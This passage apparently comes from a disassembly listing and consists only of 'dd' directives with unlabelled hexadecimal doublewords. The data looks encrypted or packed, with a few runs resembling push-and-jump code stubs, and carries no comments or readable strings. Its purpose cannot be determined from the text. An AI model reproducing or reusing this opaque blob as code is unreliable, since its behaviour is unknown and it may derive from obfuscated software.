		dd 6954Fh, 0C8187000h, 0E2227FD2h, 903C55E4h, 844C470Ah
		dd 0B95DBB1Eh, 0C5A98B21h, 3A9F07C7h, 2BAE34E0h, 1EB32BEFh
		dd 14C3DB07h, 6F311F94h, 0ACE9A92Eh, 8D514F00h,	0BD6DA415h
		dd 0EE7E9125h, 3F84D745h, 594093A1h, 1377A3FAh,	138B574Eh
		dd 0C083A08Fh, 51A3B335h, 1E539034h, 2299302Bh,	72059CEBh
		dd 55h,	0B370BD16h, 0BB30A036h,	0A92E5E6Bh, 0CD92787Bh
		dd 215592AFh, 97DC3EEAh, 0AAC26E05h, 75869950h,	8414A434h
		dd 50AA41EFh, 0EFFAF999h, 3F83AD7Ah, 0DB6CC3A1h, 0DCCA1573h
		dd 36A76D74h, 8AD733DFh, 0C7044591h, 82AE45D5h,	46916201h
		dd 31E4AE35h, 27h, 80165357h, 0A0EA9B10h, 3B38A928h, 586FD8DFh
		dd 0B1A39956h, 188EDB55h, 9572E388h, 0B3C0A13Fh, 95622Bh
		dd 7E060000h, 9D94C9B1h, 6E7522CDh, 706076F3h
		dd 2EE029FBh, 0DD3A39A9h, 0C638F00Ch, 10829220h, 64F61405h
		dd 0AE000000h, 336FEE7Eh, 4F448BEFh, 0A13F84E1h, 1C775A99h
		dd 0F572EDF4h, 38428681h, 56E6FA3Bh, 84FF2DC6h,	0DABBA13Fh
		dd 0F6FD19BDh, 70812AB1h, 82A92E5Eh, 0B7D3F713h, 0BD224B88h
		dd 0D1356B3Fh, 5923145h, 1D5914h, 537F0000h, 9B108016h
		dd 0A92E5E8Bh, 0B233589Bh, 0C2245A4Eh, 58E2074h, 0D4814h
		dd 650C0000h, 0A13FA088h, 0FF47EE89h, 5382FFFFh, 0DF108016h
		dd 0F236A784h, 4C476AD0h, 0E48F1D84h, 0A92ED1E0h, 38990B48h
		dd 9ED135DDh, 5FF4B49h,	5D7CBD92h, 757A9C40h, 59F8A86Eh
		dd 4E35993Dh, 0A4403AF9h, 0C5DC0367h, 6FA9DD6Ah, 0F97266A7h
		dd 0A13F7E2Ah, 0EADB3F3Ch, 0D2594B5Dh, 9950A41Ah, 0D7677586h
		dd 0F080AC47h, 3B388972h, 0D0F411A0h, 0D8CE1BCAh, 0CAD923C8h
		dd 20A19161h, 9E3E5CE6h, 0AB36777Ch, 0C3821665h, 0E02461C7h
		dd 82185986h, 0AAC268E5h, 1BBA19h, 1B72C1D8h, 237CDDCFh
		dd 0E76AE0FBh, 94B833B0h, 54E95D6Bh, 0C1A4C607h, 0EE7E1284h
		dd 0F1E8386Fh, 46881968h, 0CE282BF1h, 763A7E3h,	52B460BAh
		dd 0BA54B2CCh, 4EDE0876h, 0BE138B57h, 755CBE62h, 65E4F418h
		dd 5B98E22Eh, 2CE2B640h, 0E22662BAh, 0ACE564E4h, 0BEDA7960h
		dd 21A0F01Ah, 849E3DE5h, 0FA004158h, 65814543h,	0BBDFFF1Ch
		dd 76887EA0h, 0C4588E70h, 5F9000C8h, 9E396E8Dh,	7B264CBDh
		dd 6D16357Eh, 68ACE9C8h, 535DF971h, 1D648618h, 12B0DA06h
		dd 2FBAF610h, 799021B9h, 5EA340A9h, 0B5E71F23h,	0F5E4B25Eh
		dd 65127498h, 0A13F84B7h, 89E44B5Bh, 96B1DB47h,	0CC70FBE9h
		dd 8CA1406Dh, 4CBA544Fh, 8B13B3D0h, 913D56F7h, 8B4F4B0Ah
		dd 0C327D619h, 63B2A395h, 43029E78h, 62A6E147h,	0DEFEF03Dh
		dd 6B8CF972h, 7042EB70h, 0C135A140h, 779BF725h,	90A1C06Fh
		dd 0C7F8A140h, 0C15E9B0h, 0FFFF86D8h, 0EE7EFCFFh, 3F84D745h
		dd 594093A1h, 6F77A3FAh, 0E67B3EAh, 4FA474ABh, 0E636D062h
		dd 0D07163AFh, 0C8F713B3h, 0BED6A9D1h, 0AA0C16B8h, 3Fh
		dd 801653E2h, 5E8C9B10h, 599AA92Eh, 1F4EB330h, 28BDFBEBh
		dd 7A8922B6h, 8CA13F84h, 8424F42Dh, 34085056h, 0AA415390h
		dd 91621986h, 1AF03142h, 0BCD3A986h, 88D03A67h,	4D6611h
		dd 531A0000h, 80108016h, 6A2B4AFh, 5C47F1C5h, 2E6E40D7h
		dd 970556A9h, 0BAC06C07h, 7B789950h, 60CA9B60h,	68C7D5h
		dd 2DFC5454h, 113FB424h, 0C9995112h, 7FF1F8Ah, 36AA3C89h
		dd 3FEB66BDh, 70170A1h,	77B4BBDFh, 514A0B9Fh, 4FBA1E85h
		dd 36E8858h, 6FC6DC0Ch,	5FD4C4DAh, 0A9289D92h, 2D139808h
		dd 0ED99566Dh, 0AD2CBEEh, 1876D7C5h, 36AD92F4h,	6C61CBC0h
		dd 182A9956h, 0D0CE8FEEh, 0FEE5EA0Ch, 0FFCC3541h, 0B932C213h
		dd 99566493h, 70DC5757h, 28995664h, 96FFEA2Bh, 40h, 801653CEh
		dd 9EF69B10h, 8D4CA928h, 0A8504B93h, 0E0484FABh, 0AB99566Ah
		dd 4D0C6F97h, 676C8E52h, 0D2B3C37Ch, 0B04013FFh, 0A4BB2A7Fh
		dd 28B9E35h, 9955BE1Eh,	7B9FFBDAh, 0EBC6AF3Ah, 9E000000h
		dd 0C884584Fh, 2F0B5495h, 0B31E78B9h, 6DB9D355h, 6185CA09h
		dd 0BDD90900h, 70710AE5h, 3929F9CFh, 2CFC13A2h,	51CA29B6h
		dd 5EB5A140h, 66BF1EB2h, 8C175CBEh, 9C4C43F6h, 28BE0B7Ah
		dd 0D5FD19B8h, 78B53ECEh, 52A92968h, 9F249901h,	240B9B09h
		dd 7888233Ch, 50D9C051h, 0A1434F1Dh, 50FC7707h,	8916B9Eh
		dd 2728D0CBh, 0BEDA262Ah, 70C9D91Ah, 21A03071h,	21B123E3h
		dd 6C17A68Ah, 0B54591h,	7B3EC301h, 43C7C211h, 468570BFh
		dd 7972C9D7h, 11B5D362h, 6B8C46Ch, 0EC89972Eh, 1AAh, 0E5FD2D65h
		dd 0F973754h, 1D85514Ah, 21B961BCh, 34527290h, 0DA38949Eh
		dd 0F32DAC3Ah, 21EB32Bh, 1A71C0DEh, 0A97BD0CEh,	2E741E02h
		dd 7DDFDAA9h, 0D281514Fh, 2265808Bh, 71A1F8DBh,	0F1E92E15h
		dd 0B994940h, 12894D4Ah, 0DF7E3C98h, 0F1FE18C8h, 9EF277EAh
		dd 891B5884h, 0B1E869F9h, 84C46861h, 7784A13Fh,	9E9AC76Ch
		dd 0E1D0A928h, 0D93D62A6h, 56696AD2h, 0E5013D99h, 0FFD34DA9h
		dd 0BD3D13h, 88670000h,	0C61F3F8Dh, 0D8041E8Ah,	6970B1BEh
		dd 88584FEFh, 0C105036Eh, 8911F6A5h, 170EA13Fh,	0A249D9CBh
		dd 0A13F7F7Eh, 0A9CD1973h, 960D4EAAh, 0BA66BD1Ch, 0C6D86D50h
		dd 0F01873D2h, 9CDCB96h, 33A1E6EDh, 3F7F94B8h, 9C0754A1h
		dd 0A0AA670Ch, 7380A928h, 7B6DFA6Bh, 3330C269h,	0F4CA142h
		dd 3EDE3C9Dh, 0AB911AAAh, 6F916A89h, 5CFD756Ch,	35E59E3Eh
		dd 142E016Eh, 0AC630Ah,	2F670000h, 3956FBE3h, 534C0D95h
		dd 63BE138Bh, 749227BFh, 929C4A50h, 0A63CE03Eh,	0B52DF913h
		dd 0DAC00804h, 0EAF02077h, 1804AF7Dh, 0D0A92E75h, 514F7BC5h
		dd 6DA4158Dh, 84D745EEh, 4093A13Fh, 4F339B03h, 0B9188858h
		dd 0EA2CB75Fh, 5A409087h, 6A70A0F7h, 0F41C77D6h, 0B8376EEDh
		dd 3F850D33h, 498ECDA1h, 0E5036E2Dh, 0B1B3BD41h, 0D0C755h
		dd 0FD76069Ah, 853D244Fh, 62D1C80Bh, 79BFF2Bh, 0ACE74946h
		dd 89842764h, 0A0FB5A41h, 61BBFD1Ah, 2D1251B5h,	0EC278AC9h
		dd 5F83E724h, 4057C521h, 50470A90h, 3DF6680h, 0FD000000h
		dd 574F2E8Ah, 0B026F8Bh, 0BAD6BBDFh, 73ADF416h,	24624FABh
		dd 0DD3B86E0h, 99F4DD39h, 534C1571h, 5026F8Bh, 57B7A5C1h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 0C895C24h,	0E1895124h
		dd 4C181h, 0E9830000h, 240C8704h, 243C895Ch, 35D968h, 24148900h
		dd 0DBC7BE56h, 0F78907EEh, 8324348Bh, 8B5404C4h, 0C4832414h
		dd 17D86804h, 3C890000h, 8428F24h, 5A2434FFh, 4C481h, 3C8B0000h
		dd 0E0895024h, 405h, 40500h, 4870000h, 0A1E95C24h, 18FFFB61h
		dd 99A94EEFh, 0F9B8F074h, 307EEF0h, 4E0FFC5h, 11517959h
		dd 0AC5824D4h, 47250160h, 352C04FAh, 0E324189Bh, 0E174CC5Bh
		dd 0E22398E3h, 0A23A94DEh, 0BE48473Dh, 5375A061h, 6831C1E0h
		dd 763853Ah, 1828C176h,	2A4530F6h, 5A1B7AABh, 210D132Dh
		dd 53D826h, 9D26BAFCh, 5E5B17A4h, 0D11CBAAEh, 0B9380642h
		dd 10516DB5h, 7B70E1D4h, 50A5212h, 0E90580CFh, 0Ah, 452F3BB1h
		dd 0
		dd 0FEE90000h, 6800000Bh, 7EEF3ABh, 0FB610FE9h,	0F4A468FFh
		dd 5E907EEh, 68FFFB61h,	7EEF65Fh, 0FB60FBE9h, 0F76168FFh
		dd 0F1E907EEh, 68FFFB60h, 7EEF9E9h, 0FB60E7E9h,	0FB2F68FFh
		dd 0DDE907EEh, 68FFFB60h, 7EEFC5Fh, 0FB60D3E9h,	0CC1C74FFh
		dd 0E62663D6h, 944059F8h, 88504B0Eh, 0BD61BF12h, 0C9A58F25h
		dd 3E930BCBh, 2FA238E4h, 2B72FF3h, 68C7DF0Bh, 772D1398h
		dd 0A8EDA92Eh, 5A7E9938h, 584FF54Fh, 0C036E88h,	6A63CCDCh
		dd 9E90DCE8h, 0C174D853h, 2734A13Fh, 0E367FBE6h, 0ECFC2862h
		dd 3FC1D947h, 474291A1h, 5B495FE4h, 0D3F43BCBh,	0AADD1DA0h
		dd 0CFE04C45h, 0B4D1A13Fh, 0A3C9F610h, 0F233D732h, 0E87F42D7h
		dd 0AA85A928h, 97B5D927h, 0AC544FCBh, 5DF23DAFh, 9B828BA7h
		dd 1D758118h, 0C03AE68Dh, 0FDFE9956h, 0FD19C5DEh, 0D646EBF6h
		dd 919956BFh, 0D93D796Dh, 8113FF79h, 20h, 801653C7h, 9EF69B10h
		dd 2734A928h, 6A64D4C3h, 1B279956h, 0D247AFEBh,	0DE3313FFh
		dd 55000000h, 1EC6DF7Eh, 0DDD3483h, 0FF18B9E9h,	4D9DF4D7h
		dd 65A9E756h, 0B969A001h, 0CD1D745Dh, 97F455D5h, 7D363A77h
		dd 3BA8A9A2h, 0D1F63BA0h, 66BDA13Fh, 0F416BED8h, 6FAFECCFh
		dd 1F87C40Bh, 4D0CA8Bh,	37E73E9Dh, 8C329480h, 0FA434B9h
		dd 0A13FA321h, 31559AD9h, 79A9E061h, 10CBD61Dh,	0ECFDDD3h
		dd 0AAA9CD11h, 0B3AB13Fh, 0D9A928B5h, 0CC29069Ah, 0D87C927Dh
		dd 0A1261B28h, 3B8FA56Ch, 2EBB2AA0h, 678328B8h,	97A1428Bh
		dd 97F55444h, 0ACEA6F77h, 269F9768h, 0C4E22E01h, 9AC39h
		dd 7CACE400h, 16B6D366h, 4D0C988h, 38E03B9Eh, 2DF12FA2h
		dd 0B9151FB5h, 0AE23BB5Bh, 9F32A874h, 0F2475F83h, 0F8574F9Bh
		dd 779D8328h, 585DA92Eh, 0C1DF7EFCh, 0EFFAF91Dh, 0F4923250h
		dd 4824E45h, 0D31653B0h, 3F84F458h, 7CA0FDA1h, 0BCBFD51Ah
		dd 9BC66D7Fh, 0D1A9289Eh, 98287882h, 566A2D13h,	0F3EEED99h
		dd 5669BE6Eh, 5D1CB99h,	598980E1h, 6E0223Dh, 7B6B97F4h
		dd 0FFD3D73Fh, 0BA8313h, 4FC50000h, 0B9188858h,	7051B55Dh
		dd 1289CE16h, 5F7F9DE4h, 89B17C3Bh, 0ABE2A13Fh,	0BBD2677Fh
		dd 46ED7D6Fh, 0A13F7FDAh, 277E5D9Eh, 5716E0FBh,	670C9C12h
		dd 0A92891AEh, 0DB6F7784h, 0EDF4207Ah, 61EFF572h, 56769308h
		dd 87C20F34h, 0C8D81965h, 421DB623h, 0C0DD7CA1h, 9AFC207Eh
		dd 878D1455h, 75D46474h, 6AE9F01Ch, 5FF2E82Ch, 0C4E09D41h
		dd 572E0082h, 8B3AC49h,	0B3EB0000h, 0BDDA7F67h,	0D7308119h
		dd 0E722970Fh, 0F816BB23h, 0E10CED4h, 3AA064A2h, 49517D97h
		dd 5E448C88h, 6E74A4FBh, 94B833F1h, 54A92E78h, 514FE741h
		dd 180FB1EFh, 5C4A8BC8h, 0FD18A6FDh, 4E0E94D5h,	6E88584Fh
		dd 0C6DC0C03h, 0D4C4DA6Fh, 0CB1FEB44h, 0B9D601A3h, 0CAC8B922h
		dd 0D51AA928h, 0F84DE0C1h, 0DA63A7Ah, 99571F1Fh, 3F5B98DBh
		dd 0F7EF3B52h, 0D9F4B42h, 0ABE9534Ch, 83C00F6Bh, 40597867h
		dd 82090D94h, 2CDB41C4h, 0CE5E88BAh, 3E930BD7h,	0D8DF3BE7h
		dd 5D2FB71h, 0B0EC1A0Ch, 8B1B8959h, 0D2FC3CE0h,	0E4FFFC05h
		dd 64B4EB6Eh, 0FB9E9502h, 0E82105D2h, 0D3510130h, 744E5F6h
		dd 3C829EE3h, 92F435E5h, 4B650AEh, 0AA2447Eh, 7ADFC713h
		dd 0FF93F723h, 198445Eh, 158719AEh, 0BBD83B9Eh,	0DF38990Dh
		dd 1764AC37h, 405AFB8Fh, 564D7294h, 68786EFBh, 7DA348D8h
		dd 74FDE9B4h, 589BF119h, 82921017h, 0D4CFEB75h,	0D2EA464Fh
		dd 0DB3F3C05h, 0B36DDCh, 836C3CF6h, 0D3CFF12Dh,	19F3C20Fh
		dd 4EB8564Dh, 0EE326EEFh, 27E7258Ch, 3242FBE6h,	0C1B754FCh
		dd 0B9DD0500h, 4B462FBAh, 2A000004h, 30AB6FABh,	8985BD84h
		dd 0F4E060A6h, 5940D500h, 5D4F61E6h, 6F7AA2FCh,	0E13B4AE1h
		dd 0A49A928h, 4B470696h, 777C6387h, 995694C9h, 23577281h
		dd 26664D64h, 0A335B276h, 0DC07BA31h, 96E5C46Fh, 22B43174h
		dd 0E3CF05AEh, 0E263BC86h, 0DE0561A5h, 76AAC895h, 0C1D84060h
		dd 29A8383Bh, 814944F2h, 67B49813h, 6774ACB4h, 219B826h
		dd 91292DD6h, 9EB8D55Eh, 6F8F7h, 28F81000h, 0C2021FB2h
		dd 0F01C75C4h, 0E42C67EAh, 993D5BFEh, 0E5C9AB01h, 0DA7F67A7h
		dd 0CB8E14C0h, 3E930BCFh, 34A33BE7h, 7A51FF74h,	8C09A92Eh
		dd 88584F20h, 0C20A036Eh, 8C8544C4h, 47BEF54Ch,	0A1E66B58h
		dd 0E95F3Ah, 537D0000h,	7E0E821Ch, 0FA1CC4DFh, 8450FCF5h
		dd 0CB08A13Fh, 0ACBA2BD0h, 0B6FB7D1h, 43A76BA6h, 0F505E11Fh
		dd 0D897DA3h, 0C16B4E9h, 5691h,	1C533700h, 0B4650E82h
		dd 7EA13F84h, 0C889197Dh, 0FCE307CFh, 933F56E5h, 82424001h
		dd 0EC367B78h, 7B8C501Ch, 0BC1D950Ch, 0C5BAB965h, 0E9DA3528h
		dd 0C00F6BABh, 45384283h, 71FAEE00h, 0A928D83Ch, 9AB9DD1Eh
		dd 0E4307E68h, 9413FF8Dh, 7, 0F48BC8h, 53290000h, 0F458D316h
		dd 0B4A13F84h, 0E27266A7h, 0D7515B0Dh, 71019B95h, 0B3A4E99Fh
		dd 923A5384h, 9F0A4B88h, 298BBB0Ah, 790A49A9h, 263DB05Bh
		dd 0F639C4E2h, 2E000005h, 1DBC2AF6h, 73C6DC00h,	65D4F21Ah
		dd 59F8E62Ah, 55039B3Bh, 65A9E7CBh, 1AC2DC7Dh, 9D1CD8Ch
		dd 39E92091h, 0FD760AA1h, 0A92E7B4Fh, 53228E0Bh, 0F475821Ch
		dd 7393951Fh, 16B8CF27h, 5EBB0Ch, 53DD0000h, 4F0E821Ch
		dd 366A8C54h, 3F848FBDh, 0CB084BA1h, 0DFBA2BD0h, 67B35355h
		dd 0C16B80Fh, 3B7Bh, 1C531D00h,	6E62A2E0h, 3F8457C5h, 83C013A1h
		dd 0C9F9366Ah, 8F057D24h, 0D56526BDh, 0C02AEA28h, 1C7EAAE1h
		dd 7892746Eh, 0BA0CFA2Ch, 0A13FB499h, 9434437Ch, 0A8240C16h
		dd 78FFFFFEh, 75821C53h, 200CA737h, 0D8A13F85h,	0FB43009Bh
		dd 199571B7h, 0C16B7FDh, 2116Dh, 514F2300h, 60BE1F8Dh
		dd 0F0D125BCh, 8B294D95h, 11F8D79h, 1674C5DDh, 94D194F6h
		dd 5FFE8E02h, 9F049F43h, 0A928B60Eh, 25A836Ch, 55BDCF0Ch
		dd 0E9B9C64Eh, 0E1FC5D0Dh, 52F3E126h, 0FF79236h, 0D349BDC3h
		dd 0C88911B5h, 0ABE00ACAh, 9955C681h, 0B8D627Eh, 0E50687C6h
		dd 0FDE9059Ch, 35AD71AFh, 52468684h, 3E7397F3h,	0DAD57467h
		dd 0B95D44DBh, 749659E9h, 32F238FAh, 17BF6D6Ah,	787B9956h
		dd 6779CE61h, 202BFE75h, 2E31A13Fh, 16139F5Dh, 7F67A41Eh
		dd 6CD05BEBh, 2C916D82h, 0CC19B42Fh, 50BA5AB8h,	8285AB40h
		dd 3645916Dh, 8B20B0F1h, 9956942Eh, 546F93DCh, 458E524Dh
		dd 0D310D38Eh, 207ADBB7h, 36AD92F4h, 84377FADh,	0E4020489h
		dd 0B990F54h, 0BDF33324h, 0A4FDA427h, 20A03B78h, 6D5B2E8Bh
		dd 0A2FDDC91h, 0C5D71C7Eh, 9B38022Eh, 74B5C681h, 8115DA6Eh
		dd 23820D17h, 0DF36851Ch, 938AD733h, 0C426EA25h, 0ED405E9Fh
		dd 0B29E1558h, 76819B06h, 24B42465h, 9B06A18Fh,	683E7E81h
		dd 2FA8B5B2h, 0F613B6C5h, 148FB4D6h, 0E5D21F94h, 0B488983h
		dd 0B480A8EFh, 374B79B1h, 843343CFh, 422733A4h,	79000000h
		dd 10801653h, 3851F080h, 8539E7ECh, 0E2F1A13Fh,	9F0F72E7h
		dd 9435A928h, 26955E7Ah, 72B0AC0Bh, 10E6E90Dh, 65ACA43Ch
		dd 24ECF734h, 54C4B3D7h, 17995609h, 57BFFBEBh, 3140033h
		dd 7Ch,	88584F45h, 0C105036Eh, 15C5DCA5h, 0A97990F1h, 8967AA31h
		dd 0BC1DA13Fh, 0FC19B860h, 2AB1BED8h, 3EA474ABh, 3CAC4287h
		dd 2B54C0B7h, 0D7C516A9h, 0EEF41876h, 14E92D6Bh, 263E54C6h
		dd 6ED27B85h, 0A6000003h, 9524A26Eh
		dd 8B4E5478h, 0FD5C4A92h, 0D1607EA2h, 0DD8B13B3h, 0FD217F53h
		dd 923A54E5h, 814945F4h, 0B161B819h, 45EEB229h,	0A92E7DD7h
		dd 4FBA0693h, 0A4158D51h, 9125BD6Dh, 6E88584Fh,	0CCDC0C03h
		dd 0D5CC100Dh, 584FF95Dh, 0C036E88h, 9D3CCCDCh,	0EC505981h
		dd 0ACA13F84h, 6E9262AFh, 4E39CEDEh, 0E166DF53h, 8C4DDDCFh
		dd 0CA5F4A92h, 0A9297B07h, 0F9435CFDh, 0D01F7B9Bh, 51487793h
		dd 494EA8ABh, 995749DFh, 227096A8h, 13FEEFD2h, 7FA7E061h
		dd 3F0364h, 53450000h, 80108016h, 0FC1ECAC1h, 1A47ECF7h
		dd 50A9289Fh, 88B0E703h, 199566Ah, 0DAA7C303h, 0F71F78BEh
		dd 0CA0454B6h, 619DE21Ch, 0D2ED0985h, 0B57A13FFh, 81FAA34Ch
		dd 0FFA8339Fh, 0B6h, 88584F91h,	0A305036Eh, 1B58A26Ah
		dd 0BAD1B0DAh, 6EA50C6Eh, 267FC5C0h, 16579CFEh,	702C3D1h
		dd 0BE42D8C3h, 0DE418871h, 91082C90h, 40150508h, 8B574EA1h
		dd 74FF8F13h, 0A1400BC8h, 0E9687380h, 0A10466B2h, 951EB224h
		dd 0A9292C98h, 0C1050372h, 1EAB1A80h, 0DE931888h, 3CA142C2h
		dd 0EE2CAD3Fh, 301B02Eh, 0FC3E3EC3h, 0AFC92E01h, 22806h
		dd 0F8286000h, 92326FE2h, 804C45F4h, 0B45CB71Ah, 0A96DAB2Eh
		dd 35999B31h, 2AAF37D7h, 1BBE24F0h, 0EC3DBFFh, 64D3CB17h
		dd 80210FA4h, 0DCD9A92Eh, 0C3DF7E70h, 0EDF4FB1Fh, 0F6EC306Eh
		dd 0A2FE4C43h, 96D71C7Eh, 0DF7E4C08h, 248702C2h, 109B099Fh
		dd 0A9289F6Dh, 4D4AACAFh, 99566ADBh, 96DB1EEh, 4FAB6BA8h
		dd 0DAF41214h, 0D15D89B5h, 13FFD2C5h, 106B5h, 0B17EEB00h
		dd 2FEAD154h, 0AB2AB162h, 0A434A474h, 4047210Fh, 9FF8D9A1h
		dd 0EF2C1377h, 0CF8E02F4h, 0BF0602D6h, 84D11C92h, 9FFD5C47h
		dd 919C1B7Fh, 0C2A13FFBh, 0CC8D1FCBh, 0E7EC0ECEh, 0BCD366FCh
		dd 6960A6Ch, 0F2056C29h, 820BDFD9h, 0A13FC09Eh,	0C6D2FA13h
		dd 36B32EB5h, 7237E6ACh, 9219151Ah, 0A1403AAEh,	0EB28696Ah
		dd 378669F9h, 0CCB685A9h, 8DE92D6Ah, 119A0146h,	0A929121Ch
		dd 58889FFEh, 5442EA17h, 8ACB2655h, 3FED8616h, 0FB99570Bh
		dd 0F469E1F8h, 9B812A6Fh, 5F99570Ah, 0BAFB277Eh, 32CC6775h
		dd 4AA142DFh, 0DC3A9B09h, 0F12FA238h, 0C306502Dh, 0CBD52E01h
		dd 0F822h, 28F81000h, 0C2021FB2h, 0F01C75C4h, 0E42C67EAh
		dd 993D5BFEh, 0E5C9AB01h, 0DA7F67A7h, 0CB8E14C0h, 3E930BCFh
		dd 34A33BE7h, 8051FF74h, 8C09A92Eh, 8D514F20h, 0BD6DA415h
		dd 5496C02Fh, 0BFB343CAh, 145BBF63h, 7797F4D7h,	4F66D66Ch
		dd 36E8858h, 6FC6DC0Ch,	0A76BA6DAh, 0CDDF1C43h,	59819C3Dh
		dd 6AB363Dh, 0A92E76FCh, 0CD73F888h, 8D995092h,	0CD29F12Ch
		dd 0B25A4186h, 0BD4D45A1h, 50930A36h, 168DCE99h, 3AA070A7h
		dd 36508097h, 799DFB5Ah, 26CBD61Dh, 0DC1258E3h,	57C52143h
		dd 41009040h, 757A9C48h, 2E65D46Eh, 0DE3998E2h,	0EA27A63Ah
		dd 4589872Ah, 5FA72221h, 97F31772h, 0E105D1CAh,	1CC4DFE2h
		dd 557997FAh, 5A743231h, 0D02E12ACh, 63AFE636h,	6DB5D071h
		dd 0DC6CFC76h, 8ECCE957h, 3752A156h, 53419188h,	87F7159Ch
		dd 0B8232563h, 3B75Eh, 8AD50000h, 8B574F2Eh, 0DF0B026Fh
		dd 16BAD6BBh, 0AB73ADF4h, 0E024624Fh, 39DD3B86h, 7199F4DDh
		dd 8B534C15h, 0C105026Fh, 8957B7A5h, 4C781E7h, 83000000h
		dd 3C8704EFh, 24248B24h, 81E28952h, 4C2h, 4EA8300h, 5C241487h
		dd 68241489h, 58DCh, 0BA240C89h, 1924305Dh, 3E22BE56h
		dd 0F2291135h, 0C8B545Eh, 4C48324h, 242C8152h, 340F42B7h
		dd 8108418Fh, 42B70841h, 0C8B340Fh, 0E1895124h,	4C181h
		dd 0C1830000h, 240C8704h, 2434FF5Ch, 4C4835Ah, 0FB551FE9h
		dd 5CD9A6FFh, 0FD7CB80Eh, 0C50307EEh, 6F39E0FFh, 91D50F35h
		dd 7BE328A3h, 43416D6Eh, 5C700Bh, 5B96481Fh, 4F747941h
		dd 42573A32h, 59873D62h, 0F19F1380h, 12A42B53h,	5DF8150Fh
		dd 17364B5Ah, 9E855264h, 3AB058Bh, 0B5EF0F29h, 5DFB1D3Ch
		dd 24833C3h, 2137652h, 0C7554A19h, 2C3433FFh, 20754B64h
		dd 631B116Dh, 0BD174C95h, 3EE923D9h, 7B000000h,	4C745Bh
		dd 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh,	0FB75528Ch
		dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h
		dd 4 dup(0)
		dd 0A66E900h, 0CD680000h, 0E907EEFFh, 0FFFA7D16h, 0EF00F368h
		dd 7D0CE907h, 0B768FFFAh, 0E907EF01h, 0FFFA7D02h, 0EF026268h
		dd 7CF8E907h, 2868FFFAh, 0E907EF03h, 0FFFA7CEEh, 0EF044668h
		dd 7CE4E907h, 0FD68FFFAh, 0E907EF04h, 0FFFA7CDAh, 0EF06D968h
		dd 7CD0E907h, 0B368FFFAh, 0E907EF07h, 0FFFA7CC6h, 58D5A7B4h
		dd 932258FCh, 0C06D0F21h, 37BE3C54h, 69047085h,	0B75A36F3h
		dd 958C28C5h, 1D329E17h, 0D466D263h, 38620BAAh,	6DC74949h
		dd 0F7B1CB28h, 6CB0C86Fh, 0D23C756h, 3F1AEB2Ah,	0A0B3D1F3h
		dd 0C53E7E33h, 0CCD6305Ch, 4A12AC3Eh, 780ADAA4h, 0C54BD1B0h
		dd 0E3C1384Fh, 0C2C2BF49h, 0A8286DC5h, 6DC5B9F9h, 45495B28h
		dd 7B15935Fh, 0E174C2D3h, 0AB394B9Bh, 35E1495Bh, 7CD85527h
		dd 46409CDEh, 3F07799Eh, 85904DA5h, 26097812h, 0EC3060C7h
		dd 92B824B6h, 49E34DE0h, 0E0319D2Fh, 69B5C76Ah,	6B79C55Bh
		dd 939E538Fh, 0C85E1832h, 0B008433Eh, 885427D7h, 71F32367h
		dd 0C58103E3h, 0E8FA4A32h, 0AB465C00h, 242679CBh, 0AA447BCBh
		dd 87000008h, 0CF690474h, 70DC512Bh, 0A7119CDEh, 0D440ED6Fh
		dd 22BA3B41h, 0F4809505h, 46C6DF79h, 92EA0DAFh,	0D99BB1E3h
		dd 3A773354h, 286DC67Ah, 4A02609Ah, 420ED6A0h, 0A23CCEA8h
		dd 5CC4AFEFh, 0F7436130h, 5A4B7EAh, 92128FF1h, 82305CC4h
		dd 6AFC9220h, 0B5AB5837h, 98643E37h, 73ABCDE9h,	0F088AF28h
		dd 0EC8EA02Ch, 94355B10h, 0B756FA66h, 0B75874Fh, 4241A93Bh
		dd 8C19F582h, 52FCh, 0D77AE200h, 0B3B0F0A1h, 42602873h
		dd 0B34644ACh, 3E7E33A0h, 0D6305CC5h, 0F5AC3ECCh, 37B5AAF6h
		dd 473E069Ch, 2873AA6Bh, 8F4CED11h, 8C19FB35h, 0F4BC52FAh
		dd 0BFC51963h, 53F9D529h, 31C7DD21h, 0ABA4F9h, 0B21A0000h
		dd 3B41D49Ch, 0FB4BD9EBh, 4A8301E9h, 420ED6A0h,	4571CDAFh
		dd 5D79C5B7h, 5130BDBFh, 305CC17Ah, 1598DA70h, 55E791BBh
		dd 0CD116389h, 52277BB7h, 0CBC650C7h, 37B5AEF8h, 96C9643Eh
		dd 77A0C9Bh, 2FC7D739h,	13BB4D57h, 60EC7EFEh, 5153B331h
		dd 95B81499h, 81224AE7h, 92A23C35h, 7843Dh, 0E292B900h
		dd 2F4DE153h, 7A042A86h, 0CB4959FBh, 116B8E2Ah,	4F2B0C9Ch
		dd 0F123D2AAh, 27911CA0h, 6BC56810h, 593EB7C1h,	0C554544Dh
		dd 8EBC286Dh, 0D5A74AD8h, 185EFC58h, 5CC52969h,	96BEEB30h
		dd 84608348h, 0A74EDC72h, 1A0B363h, 6FF98FEDh, 0C562B0D6h
		dd 12274603h, 8A1CD46Ah, 0B58AD817h, 18E4BE37h,	738A4D69h
		dd 6E0F3328h, 1A1B53ADh, 88938Ch, 78370000h, 40E775EDh
		dd 220E8004h, 82C64F6h,	82109272h, 790316A2h, 66E5FCA5h
		dd 7785305Ch, 2ECC6805h, 323DF04Ch, 4B9E13A5h, 0EB37B555h
		dd 0F66134B9h, 0C3DAD761h, 0F32FC77Fh, 9ABF27B1h, 4CE153E2h
		dd 29E18128h, 7DF13C34h, 6C04Ah, 1E5EFD00h, 6B112597h
		dd 0B6C86ECAh, 7859D3Fh, 4D2FC26Eh, 83EF48A0h, 35670E6Eh
		dd 7BD558DCh, 0AF09A4D4h, 1D42F38Dh, 0C3901081h, 4A80286Dh
		dd 0D5A74A14h, 1C5EFC58h, 0DC783191h, 0E6FC403Ah, 40A8D266h
		dd 41B3C654h, 0AB61D40Dh, 83FCBCF5h, 8E14305Ch,	3E9A6AF8h
		dd 0B4D3621Ch, 305C8418h, 0E49D0E29h, 305C83A4h, 0E5F4316Ch
		dd 2AB37859h, 3D740694h, 384F3F25h, 5B03950Fh, 822EC7B1h
		dd 0E27C0E68h, 40595948h, 0E9BB286Dh, 6D3FF8B8h, 0AE8A1828h
		dd 2BBCBF72h, 2CADE091h, 1F852FC6h, 39F5C692h, 7166FE3Ch
		dd 615h, 0FC710328h, 37BEBC50h,	64097385h, 0DB5AD8C8h
		dd 0DA0D479h, 1B3E9A9Fh, 3160CC61h, 819602B3h, 30DA76FFh
